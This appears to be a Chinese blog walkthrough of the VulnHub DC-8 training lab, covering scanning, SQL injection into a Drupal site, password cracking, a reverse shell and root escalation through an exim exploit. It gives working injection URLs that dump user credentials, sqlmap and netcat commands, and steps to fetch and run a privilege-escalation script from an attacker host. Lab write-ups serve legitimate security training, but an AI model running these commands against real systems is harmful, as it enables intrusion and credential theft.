[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-8 通关详解 (附靶机搭建教程)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~

✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】

🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋

🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋

🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • [🍬 博主介绍](#🍬 博主介绍)
  • [一、 环境搭建](#一、 环境搭建)
    • [1. 靶场描述](#1. 靶场描述)
    • [2. 下载靶场环境](#2. 下载靶场环境)
    • [3. 启动靶场环境](#3. 启动靶场环境)
  • 二、渗透靶场
    • [1. 确定靶机目标ip](#1. 确定靶机目标ip)
    • [2. 端口探测和服务识别](#2. 端口探测和服务识别)
    • [3. 主机目录扫描](#3. 主机目录扫描)
    • [4. 查找网页发现sql注入点](#4. 查找网页发现sql注入点)
      • [4.1 手动注入](#4.1 手动注入)
      • [4.3 使用sqlmap进行sql注入](#4.3 使用sqlmap进行sql注入)
    • [5. 密文还原](#5. 密文还原)
    • [6. 获取shell](#6. 获取shell)
    • [7. 提权](#7. 提权)
  • 相关资源

一、 环境搭建

1. 靶场描述

txt 复制代码
DC-8 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.
The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.
The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.
You probably wouldn't even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it's definitely there and doing it's job.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

只有一个flag,获取flag内容需要先获取到root权限。

2. 下载靶场环境

靶场源地址点击跳转, 点击图中所在处下载靶场源文件。

下载的文件如下,然后进行解压,只有一个ova文件

3. 启动靶场环境

下载的是虚拟机压缩文件,直接用Vmvare导入就行。点击打开虚拟机之后选择ova文件之后就行。


二、渗透靶场

1. 确定靶机目标ip

通过nmap进行目标网段存活主机扫描,可能会返回大量存活主机,通过返回主机名以及已知设备ip排除(攻击机ip、windows主机ip、网关ip等)得出靶机ip: 192.168.1.10

2. 端口探测和服务识别

利用nmap进行靶机端口开放,以及对应端口指纹识别。

bash 复制代码
# -p指定端口范围 
nmap -Ap 1-65535  192.168.1.10

可以看到靶机开放了80、22端口,分别对应web服务和ssh远程连接服务.可以优先在浏览器访问web服务。

3. 主机目录扫描

3.1 dirsearch 介绍

Dirsearch 是一个开源的命令行工具,用于快速扫描和发现网站目录和文件。

Dirsearch 主要特点:

bash 复制代码
- 快速扫描目录
- 支持自定义字典,针对特定目标深度扫描
- 支持多种请求方式,GET和POST
- 支持多线程
- 支持根据HTTP响应码(200、400等)过滤和分析结果
- 支持JSON、标准输出、CSV等多格式输出
- 支持代理

Dirsearch 常用命令:

bash 复制代码
# 使用默认字典进行扫描
dirsearch -u http://example.com
#使用自定义字典
dirsearch -u http://example.com -w /path/to/custom_wordlist.txt
# 指定请求方法
dirsearch -u http://example.com -m POST
# 输出结果到文件中
dirsearch -u http://example.com -o output.txt
# 设置线程数为20
dirsearch -u http://example.com -t 20
# 指定只包含什么响应码的结果, -i 只包含 -e 排除
dirsearch -u http://example.com -t 20 -i 200,403

3.2使用dirsearch进行扫描

利用dirsearch工具进行网站的目录结构扫描。

bash 复制代码
# -u 指定目标url, -i指定需要展示的请求响应码
dirsearch -u http://192.168.1.10 -i 200,403

目录扫描之后找到网站的登录页面/user以及表明网站所使用cms系统信息/CHANGELOG.txt,知道网站所使用的是Drupal 7.67

4. 查找网页发现sql注入点

知道网站所使用的版本为Drupal 7.67,最初思路是在谷歌查询相关系统漏洞,但是没有找到可利用的poc。转而在网站页面中寻找可利用点。

在上图url位置找到sql注入点,接下来通过sql注入查询数据库中存储的数据。

4.1 手动注入

  • 获取数据库的注入方式:
  • http://192.168.1.10/nid=19%20union%20select%20database()
  • 获取使用数据库中所有表: http://192.168.1.10/?nid=19 UNION select group_concat(table_name) from information_schema.tables where table_schema='d7db'
  • 获取users表的拥有的字段: http://192.168.1.10/?nid=19 UNION SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users'
  • 获取users表中用户名和密码信息: http://192.168.1.10/?nid=19%20UNION%20SELECT%20GROUP_CONCAT(CONCAT(name,%20%27:%27,%20pass))%20FROM%20users

4.3 使用sqlmap进行sql注入

SQLMap 是一个开源的渗透测试工具,专门用于自动化检测和利用 SQL 注入漏洞。它支持多种数据库管理系统(DBMS),包括 MySQL、PostgreSQL、SQLite、Oracle、Microsoft SQL Server 等。

bash 复制代码
# 获取所有库名
sqlmap -u "http://192.168.1.10/?nid=19" --dbs  
# 获取所有指定数据所有表名
sqlmap -u "http://192.168.1.10/?nid=19" -D d7db --tables
# 获取users表所有列
sqlmap -u "http://192.168.1.10/?nid=19" -D d7db -T users --column
# 获取users表中所有用户的账户和密码
sqlmap -u "http://192.168.1.10/?nid=19" -D d7db -T users -C name,pass   --dump

5. 密文还原

获取到数据库中用户的账号和密码之后,尝试使用工具john进行密文还原。将获取到的加密密文放到一个txt文件中(pass.txt),调用john工具

bash 复制代码
john pass.txt

发现有密文被还原之后,接下来就可以在网站上进行登录或者尝试ssh进行登录。

6. 获取shell

获取到密码之后,使用john用户登录网站。接下来的思路就是寻找系统中是否存在可以获取shell的位置。最后图中位置利用点,可以获取到反向shell。


配置好webshell代码之后,攻击机使用netcat开放端口,等待连接。

bash 复制代码
nc -lvp 8888

在网站触发刚才的设置的代码执行,这个页面中内容填充好点击提交就会触发反向shell执行。

成功获取到shell

7. 提权

获取shell之后,执行python代码新建一个伪终端,提交shell的交互性.

python 复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

对于部署了web项目的网站,一般拿到shell权限时,我们可以查看数据库的账号密码,一个人多个账户设置同一个密码的概率是很大的。

bash 复制代码
# 我们已经知道库名,通过库名反查配置文件位置
grep -rn "d7db"

查看数据库配置文件的内容,就能知道对应数据的账号和密码了。先记录下来,后面可能可以利用。

查询设置SUID标志的文件

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

获取到具有suid的文件之后,查询每个命令的版本,然后使用Exploit-DB搜索是否有可权限提升的方式。最终发现exim4有本地权限提升的方法。验证某个应用是否可以提权的大致步骤如下:

  1. 查看exim4的所有者是不是root。ls -l /usr/sbin/exim4发现所有者是root之后
  2. 查看exim4的版本, exim4 --version,发现版本是4.89.
  3. 查询Exploit-DB对应版本的漏洞信息。 searchsploit Exim ,发现存在两个可以进行本地权限提升的脚本。
  1. 这里选择其中一个就行,我选择的是第一个, 先通过locat命令获取到对应脚本的位置locate 4699.sh,复制一份到/tmp目录
  2. 查看这个ssh脚本是怎么使用,使用cat查看就行。执行的时候需要带上-m参数。
  1. 将文件传输到靶机上。这里使用python快速搭建一个web服务进行文件传输。python -m http.server 8080, 在要传输文件的目录下进行启动。
  2. 靶机进行文件下载 wget http://靶机ip:端口/文件名。注意下载文件的时存放至当前用户有权限编辑的目录下,一般'/tmp'目录所有用户都会有权限。
  3. 获取到脚本之后,使用chmod命令给脚本执行权限,chmod +x 46996.sh
  4. 按照脚本注释中执行脚本, ./46996.sh -m netcat,等待脚本执行完成
  5. 执行完成之后,可以使用id或者whoami命令获取当前用户身份,发现成功提权为root用户。
  1. 获取到root权限之后,直接获取flag就行。

相关资源

1、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)

2、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-2 通关详解 (附靶机搭建教程)

3、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)

4、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)

5、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)

6、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-6 通关详解 (附靶机搭建教程)

相关推荐
独行soc1 小时前
#渗透测试#红蓝对抗#Src漏洞挖掘 介绍-Yakit(3)
测试工具·web安全·网络安全·yakit·护网
balibali882 小时前
频率限制:WAF保护网站免受恶意攻击的关键功能
网络安全
y0ungsheep3 小时前
[GXYCTF 2019]Ping Ping Ping 题解(多种解题方式)
linux·web安全·网络安全·php
duliduli12194 小时前
当遇到 502 错误(Bad Gateway)怎么办
网络安全
TIKTOKER24 小时前
当遇到 502 错误(Bad Gateway)怎么办
网络安全
Gnevergiveup5 小时前
源鲁杯2024赛题复现Web Misc部分WP
安全·网络安全·ctf·misc
Yue1one7 小时前
CSRF 点击劫持
web安全·网络安全
网安_秋刀鱼7 小时前
CSRF防范及绕过
前端·安全·web安全·网络安全·csrf·1024程序员节